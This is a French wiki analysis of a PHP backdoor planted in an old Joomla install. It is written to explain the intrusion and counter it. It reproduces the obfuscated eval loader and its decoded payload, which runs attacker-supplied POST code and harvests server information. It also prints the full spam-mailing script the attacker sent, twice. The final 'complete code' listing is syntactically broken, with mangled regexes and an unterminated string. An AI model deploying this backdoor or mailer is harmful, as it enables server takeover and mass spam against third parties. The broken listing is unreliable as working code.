Voir la source de Analyse de l'exploitation d'une faille de sécurité s'appuyant sur en cryptage base64

== Pré-compréhension ==

Sur un vieux Joomla! (de septembre 2009), on a retrouvé un fichier '''includes/.8jy4et.php''' installé là par le serveur web. Son nom et la façon dont il s'est retrouvé là ne laisse pratiquement de place à aucun doute : il s'agit d'un fichier "craquant" le système !

Reste à savoir comment il fonctionne...

=== Le fichier includes/.8jy4et.php ===

  <?php //176e622a9e272282a4a56a9100f5b75d
    $_=
    //ppZiAAS8dDJF9Q*(#_+@#TWyJ
    'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K';
    //ppZiAAS8dDJF9Q*(#_+@#TWyJ
    $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));


=== Qu'est donc que ce code tordu ? ===

La variable '''$___''' est la fonction '''base64_decode()''' décryptant la variable '''$__''', demandant elle-même le décryptage de la variable '''$_POST['code']'''

== Analyse de ce qui se passe ==

=== Du code PHP envoyé en POST ===

Pour essayer de comprendre ce que le crackeur a derrière la tête, il faut donc le piéger et récupérer ce qu'il envoie en POST au script PHP... Nous allons donc essayer de récupérer ces informations précieuses en réécrivant le fichier.

=== Piéger ce code ===

Reprenons le fichier de départ, agrémenté au niveau de sa première ligne de :

  file_put_contents('/tmp/cracking_'.date('YmdHis').'.txt',print_r($_POST,true));
  die();

'''die();''' mettant définitivement fin aux malversations du script, nous récupérons les informations sans fournir aucun service en retour...

== Autopsie d'un code malveillant ==

=== 1ère étape, réception des données en POST ===

Nous regardons en particulier la variable '''$_POST['code']''' alors que les autres sont essentiellement du contenu de spam (email "publicitaire" ou mailveillant) et des destinataires.

  if(!isset($_POST["emails"])
        OR !isset($_POST["themes"])
        OR !isset($_POST["messages"])
        OR !isset($_POST["froms"])
)
{
    exit();
}

if(get_magic_quotes_gpc())
{
    foreach($_POST as $key => $post)
    {
        $_POST[$key] = stripcslashes($post);
    }
}

$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));

if(isset($_SERVER))
{
    $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
    }
}

if(isset($_FILES))
{
    foreach($_FILES as $key => $file)
    {
        $filename = alter_macros($aliases[$key]);
        $filename = num_macros($filename);
        $filename = text_macros($filename);
        $filename = xnum_macros($filename);
        $_FILES[$key]["name"] = $filename;
    }
}

if(empty($emails))
{
    exit();
}

foreach ($emails as $fteil => $email)
{
    $theme = $themes[array_rand($themes)];
    $theme = alter_macros($theme["theme"]);
    $theme = num_macros($theme);
    $theme = text_macros($theme);
    $theme = xnum_macros($theme);

    $message = $messages[array_rand($messages)];
    $message = alter_macros($message["message"]);
    $message = num_macros($message);
    $message = text_macros($message);
    $message = xnum_macros($message);
    $message = pass_macros($message, $passes);
    $message = fteil_macros($message, $fteil);

    $from = $froms[array_rand($froms)];
    $from = alter_macros($from["from"]);
    $from = num_macros($from);
    $from = text_macros($from);
    $from = xnum_macros($from);

    $mailer = $mailers[array_rand($mailers)];
    
    send_mail($from, $email, $theme, $message, $mailer);
} 

function send_mail($from, $to, $subj, $text, $mailer)
{
    $un = strtoupper(uniqid(time()));

    $head = "From: $from\n";
    $head .= "X-Mailer: $mailer\n";
    $head .= "Reply-To: $from\n";

    $head .= "Mime-Version: 1.0\n";
    $head .= "Content-Type: multipart/alternative;";
    $head .= "boundary=\"----------".$un."\"\n\n";
    
    $plain = strip_tags($text);
    $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
    
    $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
    $zag .= "------------".$un."--";
    
    if(count($_FILES) > 0)
    {
        foreach($_FILES as $file)
        {
            if(file_exists($file["tmp_name"]))
            {
                $f = fopen($file["tmp_name"], "rb");
                $zag .= "------------".$un."\n";
                $zag .= "Content-Type: application/octet-stream;";
                $zag .= "name=\"".$file["name"]."\"\n";
                $zag .= "Content-Transfer-Encoding:base64\n";
                $zag .= "Content-Disposition:attachment;";
                $zag .= "filename=\"".$file["name"]."\"\n\n";
                $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
                fclose($f);
            }
        }
    }

    if(@mail($to, $subj, $zag, $head))
    {
        if(!empty($_POST['verbose']))
            echo "SENDED";
    }
    else
    {
        if(!empty($_POST['verbose']))
            echo "FAIL";
    }
    usleep(300);
}

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);

    for($i = 0; $i < count($matches[1]); $i++)
    {

        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}

function text_macros($content)
{
    preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $word = generate_word($rand);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }

    preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $count = $matches[1][$i];

        $word  = generate_word($count);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }


    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;

        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function generate_word($length)
{
    $chars = 'abcdefghijklmnopqrstuvyxz';
    $numChars = strlen($chars);
    $string = '';
    for($i = 0; $i < $length; $i++)
    {
        $string .= substr($chars, rand(1, $numChars) - 1, 1);
    }
    return $string;
}

function pass_macros($content, $passes)
{
    $pass = array_pop($passes);
    
    return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{    
    return str_replace("[FTEIL]", $fteil, $content);
}

function from_host($content)
{
    if(empty($replace))
    {
        $replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
        $pos = strpos($replace, "@");
        $replace = substr($replace, $pos);
    }
    
    $replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
    $replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;
    
    $domains = @explode(".", $replace);
    if(!empty($domains))
    {
        $level1 = @array_pop($domains);
        $level2 = @array_pop($domains);
        $replace = $level2.".".$level1;
    }
    
    return str_replace("[FHOST]", $replace, $content);
}


Nous la décryptons donc en base64 toujours :

  if(!isset($_POST["emails"])
        OR !isset($_POST["themes"])
        OR !isset($_POST["messages"])
        OR !isset($_POST["froms"])
  )
  {
    exit();
  }
  
  if(get_magic_quotes_gpc())
  {
    foreach($_POST as $key => $post)
    {
        $_POST[$key] = stripcslashes($post);
    }
  }
  
  $emails = @unserialize(base64_decode($_POST["emails"]));
  $themes = @unserialize(base64_decode($_POST["themes"]));
  $messages = @unserialize(base64_decode($_POST["messages"]));
  $froms = @unserialize(base64_decode($_POST["froms"]));
  $mailers = @unserialize(base64_decode($_POST["mailers"]));
  $aliases = @unserialize(base64_decode($_POST["aliases"]));
  $passes = @unserialize(base64_decode($_POST["passes"]));
  
  if(isset($_SERVER))
  {
    $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
    }
  }
  
  if(isset($_FILES))
  {
    foreach($_FILES as $key => $file)
    {
        $filename = alter_macros($aliases[$key]);
        $filename = num_macros($filename);
        $filename = text_macros($filename);
        $filename = xnum_macros($filename);
        $_FILES[$key]["name"] = $filename;
    }
  }
  
  if(empty($emails))
  {
    exit();
  }
  
  foreach ($emails as $fteil => $email)
  {
    $theme = $themes[array_rand($themes)];
    $theme = alter_macros($theme["theme"]);
    $theme = num_macros($theme);
    $theme = text_macros($theme);
    $theme = xnum_macros($theme);
  
    $message = $messages[array_rand($messages)];
    $message = alter_macros($message["message"]);
    $message = num_macros($message);
    $message = text_macros($message);
    $message = xnum_macros($message);
    $message = pass_macros($message, $passes);
    $message = fteil_macros($message, $fteil);
  
    $from = $froms[array_rand($froms)];
    $from = alter_macros($from["from"]);
    $from = num_macros($from);
    $from = text_macros($from);
    $from = xnum_macros($from);
  
    $mailer = $mailers[array_rand($mailers)];
    
    send_mail($from, $email, $theme, $message, $mailer);
  } 
  
  function send_mail($from, $to, $subj, $text, $mailer)
  {
    $un = strtoupper(uniqid(time()));
  
    $head = "From: $from\n";
    $head .= "X-Mailer: $mailer\n";
    $head .= "Reply-To: $from\n";
  
    $head .= "Mime-Version: 1.0\n";
    $head .= "Content-Type: multipart/alternative;";
    $head .= "boundary=\"----------".$un."\"\n\n";
    
    $plain = strip_tags($text);
    $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
    
    $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
    $zag .= "------------".$un."--";
    
    if(count($_FILES) > 0)
    {
        foreach($_FILES as $file)
        {
            if(file_exists($file["tmp_name"]))
            {
                $f = fopen($file["tmp_name"], "rb");
                $zag .= "------------".$un."\n";
                $zag .= "Content-Type: application/octet-stream;";
                $zag .= "name=\"".$file["name"]."\"\n";
                $zag .= "Content-Transfer-Encoding:base64\n";
                $zag .= "Content-Disposition:attachment;";
                $zag .= "filename=\"".$file["name"]."\"\n\n";
                $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
                fclose($f);
            }
        }
    }
  
    if(@mail($to, $subj, $zag, $head))
    {
        if(!empty($_POST['verbose']))
            echo "SENDED";
    }
    else
    {
        if(!empty($_POST['verbose']))
            echo "FAIL";
    }
    usleep(300);
  }
  
  function alter_macros($content)
  {
    preg_match_all('#{(.*)}#Ui', $content, $matches);
  
    for($i = 0; $i < count($matches[1]); $i++)
    {
  
        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
  }
  
  function text_macros($content)
  {
    preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $word = generate_word($rand);
  
        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }
  
    preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
  
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $count = $matches[1][$i];
  
        $word  = generate_word($count);
  
        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }
  
  
    return $content;
  }
  
  function xnum_macros($content)
  {
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;
  
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
  }
  
  function num_macros($content)
  {
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
  }
  
  function generate_word($length)
  {
    $chars = 'abcdefghijklmnopqrstuvyxz';
    $numChars = strlen($chars);
    $string = '';
    for($i = 0; $i < $length; $i++)
    {
        $string .= substr($chars, rand(1, $numChars) - 1, 1);
    }
    return $string;
  }
  
  function pass_macros($content, $passes)
  {
    $pass = array_pop($passes);
    
    return str_replace("[PASS]", $pass, $content);
  }
  
  function fteil_macros($content, $fteil)
  {    
    return str_replace("[FTEIL]", $fteil, $content);
  }
  
  function from_host($content)
  {
    if(empty($replace))
    {
        $replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
        $pos = strpos($replace, "@");
        $replace = substr($replace, $pos);
    }
    
    $replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
    $replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;
    
    $domains = @explode(".", $replace);
    if(!empty($domains))
    {
        $level1 = @array_pop($domains);
        $level2 = @array_pop($domains);
        $replace = $level2.".".$level1;
    }
    
    return str_replace("[FHOST]", $replace, $content);
  }

Sur plusieurs envois, pour le moment ce code est toujours le même. Considérons donc pour le moment que ce code est celui à analyser.

=== Étape 2, trouver à quel endroit les emails partent ===

C'est très simplement en utilisant la fonction '''mail()''' de PHP que le script envoie ses spams. Nous pouvons maintenant ellaborer une stratégie de riposte intelligente.


=== Étape 3, modifier le comportement de ce script pour "fight back" ===

Nous allons donc prendre le code envoyé en '''POST''', décrypté bien entendu, et le modifier. Seul la partie où les courriels sont envoyés via la fonction '''mail()''' nous intéresse :

 // dans la fonction send_mail()
 if(@mail($to, $subj, $zag, $head))

Modifions la variable '''$to''' pour y mettre le responsable "abuse" de la plage d'adresse IP utilisée par notre petit script-kiddy. Ici l'adresse IP est '''31.184.244.18''', et après un '''whois''' sur cette adresse il s'avère que l'adresse "abuse" est '''admin@toencompany.net'''.

''C'est parti'' !

== Concrêtement ==

=== Le code modifié ===

   // ...
   // HACKING-THE-CRACKER ADDON
   $subj = "SPAM/CRACK REPORT / Original subject: $subj / Original RCPT: $to";
   $to = 'admin@toencompany.net';
   $youremail = 'postmaster@YOURDOMAIN.TLD';
   $zag = "CONTACT US FOR FURTHER EXPLANATION: $youremail\n\n\n\nORIGINAL SERVER VARS: ".print_r($_SERVER,true)."\n\n\n\n\nORIGINAL SPAMMING CONTENT:\n\n\n\n\n".$zag;
   
   if(@mail($to, $subj, $zag, $head))
   // ...

NOTES:

* N'oubliez pas de remplacer '''postmaster@YOURDOMAIN.TLD''' par la bonne adresse email...
* N'oubliez pas de remplacer '''admin@toencompany.net''' par l'adresse réelle du '''abuse''' responsable de l'adresse IP qui cherche à vous attaquer...

=== Le code au complet ===

 if(!isset($_POST["emails"])
       OR !isset($_POST["themes"])
       OR !isset($_POST["messages"])
       OR !isset($_POST["froms"])
 )
 {
   exit();
 }
 
 if(get_magic_quotes_gpc())
 {
   foreach($_POST as $key => $post)
   {
       $_POST[$key] = stripcslashes($post);
   }
 }
 
 $emails = @unserialize(base64_decode($_POST["emails"]));
 $themes = @unserialize(base64_decode($_POST["themes"]));
 $messages = @unserialize(base64_decode($_POST["messages"]));
 $froms = @unserialize(base64_decode($_POST["froms"]));
 $mailers = @unserialize(base64_decode($_POST["mailers"]));
 $aliases = @unserialize(base64_decode($_POST["aliases"]));
 $passes = @unserialize(base64_decode($_POST["passes"]));
 
 if(isset($_SERVER))
 {
   $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
   if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
   {
       $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
   }
 }
 
 if(isset($_FILES))
 {
   foreach($_FILES as $key => $file)
   {
       $filename = alter_macros($aliases[$key]);
       $filename = num_macros($filename);
       $filename = text_macros($filename);
       $filename = xnum_macros($filename);
       $_FILES[$key]["name"] = $filename;
   }
 }
 
 if(empty($emails))
 {
   exit();
 }
 
 foreach ($emails as $fteil => $email)
 {
   $theme = $themes[array_rand($themes)];
   $theme = alter_macros($theme["theme"]);
   $theme = num_macros($theme);
   $theme = text_macros($theme);
   $theme = xnum_macros($theme);
 
   $message = $messages[array_rand($messages)];
   $message = alter_macros($message["message"]);
   $message = num_macros($message);
   $message = text_macros($message);
   $message = xnum_macros($message);
   $message = pass_macros($message, $passes);
   $message = fteil_macros($message, $fteil);
 
   $from = $froms[array_rand($froms)];
   $from = alter_macros($from["from"]);
   $from = num_macros($from);
   $from = text_macros($from);
   $from = xnum_macros($from);
 
   $mailer = $mailers[array_rand($mailers)];
   
   send_mail($from, $email, $theme, $message, $mailer);
 } 
 
 function send_mail($from, $to, $subj, $text, $mailer)
 {
   $un = strtoupper(uniqid(time()));
 
   $head = "From: $from\n";
   $head .= "X-Mailer: $mailer\n";
   $head .= "Reply-To: $from\n";
 
   $head .= "Mime-Version: 1.0\n";
   $head .= "Content-Type: multipart/alternative;";
   $head .= "boundary=\"----------".$un."\"\n\n";
   
   $plain = strip_tags($text);
   $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
   $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
   
   $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
   $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
   $zag .= "------------".$un."--";
   
   if(count($_FILES) > 0)
   {
       foreach($_FILES as $file)
       {
           if(file_exists($file["tmp_name"]))
           {
               $f = fopen($file["tmp_name"], "rb");
               $zag .= "------------".$un."\n";
               $zag .= "Content-Type: application/octet-stream;";
               $zag .= "name=\"".$file["name"]."\"\n";
               $zag .= "Content-Transfer-Encoding:base64\n";
               $zag .= "Content-Disposition:attachment;";
               $zag .= "filename=\"".$file["name"]."\"\n\n";
               $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
               fclose($f);
           }
       }
   }
   
   // HACKING-THE-CRACKER ADDON
   $subj = "SPAM/CRACK REPORT / Original subject: $subj / Original RCPT: $to";
   $to = 'admin@toencompany.net';
   $youremail = 'postmaster@YOURDOMAIN.TLD"
   $zag = "CONTACT US FOR FURTHER EXPLANATION: $youremail\n\n\n\nORIGINAL SERVER VARS: ".print_r($_SERVER,true)."\n\n\n\n\nORIGINAL SPAMMING CONTENT:\n\n\n\n\n".$zag;
   
   if(@mail($to, $subj, $zag, $head))
   {
       if(!empty($_POST['verbose']))
           echo "SENDED";
   }
   else
   {
       if(!empty($_POST['verbose']))
           echo "FAIL";
   }
   usleep(300);
 }
 
 function alter_macros($content)
 {
   preg_match_all('#{(.*)}#Ui', $content, $matches);
 
   for($i = 0; $i < count($matches[1]); $i++)
   {
 
       $ns = explode("|", $matches[1][$i]);
       $c2 = count($ns);
       $rand = rand(0, ($c2 - 1));
       $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
   }
   return $content;
 }
 
 function text_macros($content)
 {
   preg_match_all('#\[TEXT\-(digit:+)\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $min = $matches[1][$i];
       $max = $matches[2][$i];
       $rand = rand($min, $max);
       $word = generate_word($rand);
 
       $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
   }
 
   preg_match_all('#\[TEXT\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $count = $matches[1][$i];
 
       $word  = generate_word($count);
 
       $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
   }
 
 
   return $content;
 }
 
 function xnum_macros($content)
 {
   preg_match_all('#\[NUM\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $num = $matches[1][$i];
       $min = pow(10, $num - 1);
       $max = pow(10, $num) - 1;
 
       $rand = rand($min, $max);
       $content = str_replace($matches[0][$i], $rand, $content);
   }
   return $content;
 }
 
 function num_macros($content)
 {
   preg_match_all('#\[RAND\-(digit:+)\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $min = $matches[1][$i];
       $max = $matches[2][$i];
       $rand = rand($min, $max);
       $content = str_replace($matches[0][$i], $rand, $content);
   }
   return $content;
 }
 
 function generate_word($length)
 {
   $chars = 'abcdefghijklmnopqrstuvyxz';
   $numChars = strlen($chars);
   $string = ;
   for($i = 0; $i < $length; $i++)
   {
       $string .= substr($chars, rand(1, $numChars) - 1, 1);
   }
   return $string;
 }
 
 function pass_macros($content, $passes)
 {
   $pass = array_pop($passes);
   
   return str_replace("[PASS]", $pass, $content);
 }
 
 function fteil_macros($content, $fteil)
 {    
   return str_replace("[FTEIL]", $fteil, $content);
 }
 
 function from_host($content)
 {
   if(empty($replace))
   {
       $replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
       $pos = strpos($replace, "@");
       $replace = substr($replace, $pos);
   }
   
   $replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
   $replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;
   
   $domains = @explode(".", $replace);
   if(!empty($domains))
   {
       $level1 = @array_pop($domains);
       $level2 = @array_pop($domains);
       $replace = $level2.".".$level1;
   }
   
   return str_replace("[FHOST]", $replace, $content);
 }


== ''The end'' ==

Il n'y a plus qu'à laisser faire.

Enjoy.

Remarques à envoyer à beta_AT_e-glop.net (_AT_ / @)

== Extra ending ==

Si vous êtes lassés de piéger votre correspondant distant, qui est sans doute bien caché, alors je vous invite à remplacer le contenu du fichier visé par quelque chose du genre :

<pre><nowiki>
 <html>
 <head><title>Hello World!</title></head>
 <body>
 <h1 style="font-weight: bold; font-size: 30pt;">
   GO AND FUCK YOURSELF LITTLE SCRIPT KIDDY!
 </h1>
 <?php foreach ( $_POST as $name => $var ): ?>
  <h2><?php echo htmlspecialchars($name) ?></h2>
  <pre>
   <?php echo htmlspecialchars(base64_decode($var)) ?>
  &lt;/pre>
 <?php endforeach ?>
 </body>
 </html>
</nowiki></pre>

== Ressources externes ==

* [http://forums.whirlpool.net.au/archive/2072084 http://forums.whirlpool.net.au/archive/2072084]
* [http://www.base64decode.org/ http://www.base64decode.org/]

[[Catérogie:Informatique]]